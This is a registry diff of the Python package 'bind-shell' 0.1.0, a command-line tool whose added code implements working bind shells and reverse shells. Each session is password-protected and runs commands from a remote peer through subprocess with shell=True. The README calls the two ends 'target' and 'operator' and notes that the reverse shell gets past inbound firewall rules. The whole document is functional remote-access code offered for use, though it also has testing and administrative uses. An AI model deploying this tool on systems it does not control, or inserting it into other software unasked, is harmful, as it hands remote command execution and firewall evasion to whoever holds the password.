bind-shell 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
bind_shell/__init__.py ADDED
@@ -0,0 +1,12 @@
1
+ import logging
2
+ import sys
3
+
4
+ import typer
5
+
6
+ logger = logging.getLogger(__name__)
7
+ logger.setLevel(logging.INFO)
8
+ handler = logging.StreamHandler(sys.stdout)
9
+ handler.setLevel(logging.INFO)
10
+ logger.addHandler(handler)
11
+
12
+ cli = typer.Typer()
bind_shell/__main__.py ADDED
@@ -0,0 +1,3 @@
1
+ from bind_shell import cli
2
+
3
+ cli()
bind_shell/app.py ADDED
@@ -0,0 +1,85 @@
1
+ import secrets
2
+ import socket
3
+ import sys
4
+ import urllib.request
5
+ from typing import Annotated
6
+
7
+ import typer
8
+
9
+ from bind_shell import cli, logger
10
+ from bind_shell.commands import run_client, run_connect, run_listen, run_server
11
+
12
+ DEFAULT_PORT = 4444
13
+
14
+
15
+ def main():
16
+ try:
17
+ cli()
18
+ except Exception as e:
19
+ typer.echo(f"{e.__class__.__name__}: {e}")
20
+ sys.exit(1)
21
+
22
+
23
+ def _get_wan_ip() -> str | None:
24
+ try:
25
+ with urllib.request.urlopen("https://api.ipify.org", timeout=5) as resp:
26
+ return resp.read().decode()
27
+ except Exception:
28
+ return None
29
+
30
+
31
+ def _get_lan_ip() -> str | None:
32
+ try:
33
+ with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
34
+ s.connect(("8.8.8.8", 80))
35
+ return s.getsockname()[0]
36
+ except Exception:
37
+ return None
38
+
39
+
40
+ def get_ip() -> str | None:
41
+ return _get_wan_ip() or _get_lan_ip() or "localhost"
42
+
43
+
44
+ def _generate_password() -> str:
45
+ return secrets.token_urlsafe(16)
46
+
47
+
48
+ @cli.command(name="server", help="Bind shell: bind a port and execute commands from an incoming client")
49
+ def server(
50
+ host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
51
+ port: Annotated[int, typer.Option("--port", help="Port to listen on")] = DEFAULT_PORT,
52
+ ):
53
+ ip = get_ip()
54
+ password = _generate_password()
55
+ logger.info(f"Bind-Shell Connection: bind-shell client {ip} --port {port} --password {password}")
56
+ run_server(host=host, port=port, password=password)
57
+
58
+
59
+ @cli.command(name="client", help="Bind shell: connect to a server and send commands interactively")
60
+ def client(
61
+ host: Annotated[str, typer.Argument(help="Host address of the bind shell server")],
62
+ port: Annotated[int, typer.Option("--port", help="Port to connect to")] = DEFAULT_PORT,
63
+ password: Annotated[str, typer.Option("--password", help="Password for authentication")] = ...,
64
+ ):
65
+ run_client(host=host, port=port, password=password)
66
+
67
+
68
+ @cli.command(name="listen", help="Reverse shell: bind a port and send commands to an incoming connector")
69
+ def listen(
70
+ host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
71
+ port: Annotated[int, typer.Option("--port", help="Port to listen on")] = DEFAULT_PORT,
72
+ ):
73
+ ip = get_ip()
74
+ password = _generate_password()
75
+ logger.info(f"Reverse-Shell Connection: bind-shell connect {ip} --port {port} --password {password}")
76
+ run_listen(host=host, port=port, password=password)
77
+
78
+
79
+ @cli.command(name="connect", help="Reverse shell: connect out to a listener and execute its commands")
80
+ def connect(
81
+ host: Annotated[str, typer.Argument(help="Host address of the reverse shell listener")],
82
+ port: Annotated[int, typer.Option("--port", help="Port to connect to")] = DEFAULT_PORT,
83
+ password: Annotated[str, typer.Option("--password", help="Password for authentication")] = ...,
84
+ ):
85
+ run_connect(host=host, port=port, password=password)
bind_shell/commands.py ADDED
@@ -0,0 +1,145 @@
1
+ import socket
2
+ import subprocess
3
+ import sys
4
+ import threading
5
+
6
+ from bind_shell import logger
7
+
8
+ BUFFER_SIZE = 4096
9
+ CMD_TIMEOUT = 30
10
+ PROMPT = b"bind-shell$ "
11
+
12
+
13
+ def _auth_server(conn: socket.socket, password: str) -> bool:
14
+ conn.sendall(b"password: ")
15
+ try:
16
+ data = conn.recv(BUFFER_SIZE)
17
+ except (ConnectionResetError, BrokenPipeError):
18
+ return False
19
+ if data.decode(errors="replace").strip() == password:
20
+ conn.sendall(b"authenticated\n")
21
+ return True
22
+ conn.sendall(b"denied\n")
23
+ return False
24
+
25
+
26
+ def _auth_client(sock: socket.socket, password: str) -> bool:
27
+ challenge = sock.recv(BUFFER_SIZE)
28
+ if challenge != b"password: ":
29
+ return False
30
+ sock.sendall(f"{password}\n".encode())
31
+ response = sock.recv(BUFFER_SIZE)
32
+ return response.strip() == b"authenticated"
33
+
34
+
35
+ def _executor_loop(conn: socket.socket, prompt: bytes = PROMPT):
36
+ while True:
37
+ conn.sendall(prompt)
38
+ try:
39
+ data = conn.recv(BUFFER_SIZE)
40
+ except (ConnectionResetError, BrokenPipeError):
41
+ break
42
+ if not data:
43
+ break
44
+ cmd = data.decode(errors="replace").strip()
45
+ if cmd.lower() in ("exit", "quit"):
46
+ break
47
+ logger.info(f"$ {cmd}")
48
+ try:
49
+ result = subprocess.run(cmd, shell=True, capture_output=True, timeout=CMD_TIMEOUT) # nosec
50
+ output = result.stdout + result.stderr
51
+ except subprocess.TimeoutExpired:
52
+ output = b"Command timed out\n"
53
+ except Exception as e:
54
+ output = f"{e}\n".encode()
55
+ conn.sendall(output or b"\n")
56
+
57
+
58
+ def _interactive_loop(sock: socket.socket):
59
+ def _reader():
60
+ while True:
61
+ try:
62
+ data = sock.recv(BUFFER_SIZE)
63
+ except OSError:
64
+ break
65
+ if not data:
66
+ break
67
+ sys.stdout.buffer.write(data)
68
+ sys.stdout.buffer.flush()
69
+
70
+ threading.Thread(target=_reader, daemon=True).start()
71
+
72
+ try:
73
+ for line in sys.stdin:
74
+ sock.sendall(line.encode())
75
+ except OSError:
76
+ pass
77
+
78
+
79
+ def _executor_session(conn: socket.socket, addr: tuple, password: str):
80
+ logger.info(f"Client connected: {addr[0]}:{addr[1]}")
81
+ if not _auth_server(conn, password):
82
+ logger.info(f"Authentication failed: {addr[0]}:{addr[1]}")
83
+ return
84
+ try:
85
+ _executor_loop(conn, prompt=f"bind-shell@{addr[0]}$ ".encode())
86
+ finally:
87
+ logger.info(f"Client disconnected: {addr[0]}:{addr[1]}")
88
+
89
+
90
+ def _interactive_session(conn: socket.socket, addr: tuple, password: str):
91
+ if not _auth_server(conn, password):
92
+ sys.stdout.buffer.write(f"Authentication failed: {addr[0]}:{addr[1]}\n".encode())
93
+ sys.stdout.buffer.flush()
94
+ return
95
+ sys.stdout.buffer.write(f"Connected: {addr[0]}:{addr[1]}\n".encode())
96
+ sys.stdout.buffer.flush()
97
+ try:
98
+ _interactive_loop(conn)
99
+ finally:
100
+ sys.stdout.buffer.write(f"\nDisconnected: {addr[0]}:{addr[1]}\n".encode())
101
+ sys.stdout.buffer.flush()
102
+
103
+
104
+ def run_server(host: str, port: int, password: str):
105
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
106
+ server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
107
+ server.bind((host, port))
108
+ server.listen(1)
109
+ try:
110
+ while True:
111
+ conn, addr = server.accept()
112
+ threading.Thread(target=_executor_session, args=(conn, addr, password), daemon=True).start()
113
+ except KeyboardInterrupt:
114
+ pass
115
+
116
+
117
+ def run_client(host: str, port: int, password: str):
118
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
119
+ sock.connect((host, port))
120
+ if not _auth_client(sock, password):
121
+ raise Exception("Authentication failed")
122
+ _interactive_loop(sock)
123
+
124
+
125
+ def run_listen(host: str, port: int, password: str):
126
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
127
+ server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
128
+ server.bind((host, port))
129
+ server.listen(1)
130
+ try:
131
+ while True:
132
+ conn, addr = server.accept()
133
+ with conn:
134
+ _interactive_session(conn, addr, password)
135
+ except KeyboardInterrupt:
136
+ pass
137
+
138
+
139
+ def run_connect(host: str, port: int, password: str):
140
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
141
+ sock.connect((host, port))
142
+ local_ip, local_port = sock.getsockname()
143
+ if not _auth_client(sock, password):
144
+ raise Exception("Authentication failed")
145
+ _executor_loop(sock, prompt=f"bind-shell@{local_ip}:{local_port}$ ".encode())
@@ -0,0 +1,125 @@
1
+ Metadata-Version: 2.4
2
+ Name: bind-shell
3
+ Version: 0.1.0
4
+ Summary: A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.
5
+ License: MIT
6
+ Author: Tyson Holub
7
+ Author-email: tyson@tysonholub.com
8
+ Requires-Python: >=3.10,<4.0
9
+ Classifier: License :: OSI Approved :: MIT License
10
+ Classifier: Programming Language :: Python :: 3
11
+ Classifier: Programming Language :: Python :: 3.10
12
+ Classifier: Programming Language :: Python :: 3.11
13
+ Classifier: Programming Language :: Python :: 3.12
14
+ Classifier: Programming Language :: Python :: 3.13
15
+ Classifier: Programming Language :: Python :: 3.14
16
+ Requires-Dist: typer (>=0.13,<0.14)
17
+ Description-Content-Type: text/markdown
18
+
19
+ # bind-shell ![PyPi](https://img.shields.io/badge/python-3.10%20%7C%203.11%20%7C%203.12%20%7C%203.13-%2344CC11)
20
+
21
+ A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.
22
+
23
+ ## Install
24
+
25
+ Use [pipx](https://pypa.github.io/pipx/) to install globally in an isolated python environment.
26
+
27
+ ```bash
28
+ pipx install bind-shell
29
+ ```
30
+
31
+ ## Usage
32
+
33
+ ```
34
+ Usage: bind-shell [OPTIONS] COMMAND [ARGS]...
35
+
36
+ ╭─ Options ───────────────────────────────────────────────────────────────────────────────────╮
37
+ │ --install-completion Install completion for the current shell. │
38
+ │ --show-completion Show completion for the current shell, to copy it or │
39
+ │ customize the installation. │
40
+ │ --help Show this message and exit. │
41
+ ╰─────────────────────────────────────────────────────────────────────────────────────────────╯
42
+ ╭─ Commands ──────────────────────────────────────────────────────────────────────────────────╮
43
+ │ server Bind shell: bind a port and execute commands from an incoming client │
44
+ │ client Bind shell: connect to a server and send commands interactively │
45
+ │ listen Reverse shell: bind a port and send commands to an incoming connector │
46
+ │ connect Reverse shell: connect out to a listener and execute its commands │
47
+ ╰─────────────────────────────────────────────────────────────────────────────────────────────╯
48
+ ```
49
+
50
+ ### Bind shell
51
+
52
+ In a bind shell the **target runs `server`** — it binds a port and waits. The operator runs `client` to connect in and issue commands.
53
+
54
+ **On the target:**
55
+
56
+ ```bash
57
+ $ bind-shell server
58
+ Bind-Shell Connection: bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg
59
+ ```
60
+
61
+ **On the operator:**
62
+
63
+ ```bash
64
+ $ bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg
65
+ ```
66
+
67
+ ### Reverse shell
68
+
69
+ In a reverse shell the **operator runs `listen`** — it binds a port and waits. The target runs `connect` to call back out, bypassing inbound firewall rules.
70
+
71
+ **On the operator:**
72
+
73
+ ```bash
74
+ $ bind-shell listen
75
+ Reverse-Shell Connection: bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw
76
+ ```
77
+
78
+ **On the target:**
79
+
80
+ ```bash
81
+ $ bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw
82
+ ```
83
+
84
+ ### Options
85
+
86
+ All commands accept `--port` (default: `4444`). `server` and `listen` also accept `--host` to control the bind address (default: `0.0.0.0`). `client` and `connect` require `--password` generated by `server` or `listen`.
87
+
88
+ ```bash
89
+ bind-shell server --host 0.0.0.0 --port 4444
90
+ bind-shell client <ip> --port 4444 --password some-pass
91
+ bind-shell listen --host 0.0.0.0 --port 4444
92
+ bind-shell connect <ip> --port 4444 --password some-pass
93
+ ```
94
+
95
+ Type `exit` or `quit` to close a session.
96
+
97
+ ## Dev Prerequisites
98
+
99
+ - python >=3.10
100
+ - [pipx](https://pypa.github.io/pipx/), an optional tool for prerequisite installs
101
+ - [poetry](https://github.com/python-poetry/poetry) (install globally with `pipx install poetry`)
102
+ - [flake8](https://github.com/PyCQA/flake8) (install globally with `pipx install flake8`)
103
+ - [flake8-bugbear](https://github.com/PyCQA/flake8-bugbear) extension (install with `pipx inject flake8 flake8-bugbear`)
104
+ - [flake8-naming](https://github.com/PyCQA/pep8-naming) extension (install with `pipx inject flake8 pep8-naming`)
105
+ - [black](https://github.com/psf/black) (install globally with `pipx install black`)
106
+ - [pre-commit](https://github.com/pre-commit/pre-commit) (install globally with `pipx install pre-commit`)
107
+ - [just](https://github.com/casey/just), a Justfile command runner
108
+
109
+ ## Updating python version
110
+
111
+ - Update python version in `Dev Prerequisites` above
112
+ - Update \[tool.poetry.dependencies\] section of `pyproject.toml`
113
+ - Update pyupgrade hook in `.pre-commit-config.yaml`
114
+ - Update python version in `.gitlab-ci.yml`
115
+
116
+ ## Justfile Targets
117
+
118
+ - `install`: installs poetry dependencies and pre-commit git hooks
119
+ - `update_boilerplate`: fetches and applies updates from the boilerplate remote
120
+ - `test`: runs pytest with test coverage report
121
+
122
+ ## Boilerplate
123
+
124
+ This project tracks the [pyplate](git@gitlab.com:tysonholub/pyplate.git) boilerplate via the `boilerplate` git remote. Run `just update_boilerplate` to pull latest changes. **NOTE**: keep the boilerplate remote history intact to successfully merge future updates.
125
+
@@ -0,0 +1,8 @@
1
+ bind_shell/__init__.py,sha256=g6St0rtB1Vrt8nR38Zr9vgC23edyfSYjuQ9S3BFCRWQ,231
2
+ bind_shell/__main__.py,sha256=BL6dBHeTIyQg3Cf3nFtj0LrdXBPt9WLBCVNN3XaUFXI,34
3
+ bind_shell/app.py,sha256=bkvD5sIrGs7ShRKz7wdnrQ_7XYaSBGioJruIp2QUBsg,2933
4
+ bind_shell/commands.py,sha256=gDEKuDDT2e9nSvA53Eo7Tbt7TTFsJLng7RnTdJnXi-Y,4707
5
+ bind_shell-0.1.0.dist-info/METADATA,sha256=sl2-KW2dQje214ZCHbpeOuqZHqIP5fcX0uHXIZ-Hp3M,6016
6
+ bind_shell-0.1.0.dist-info/WHEEL,sha256=EGEvSphFYqXKs23-kQBeyNoJP1nrT8ZJKQoi5p5DYL8,88
7
+ bind_shell-0.1.0.dist-info/entry_points.txt,sha256=dOHdvdOTFEf5ormc-mamXjBXvqVwMJLQ-KLd41al1lM,50
8
+ bind_shell-0.1.0.dist-info/RECORD,,
@@ -0,0 +1,4 @@
1
+ Wheel-Version: 1.0
2
+ Generator: poetry-core 2.4.0
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
@@ -0,0 +1,3 @@
1
+ [console_scripts]
2
+ bind-shell=bind_shell.app:main
3
+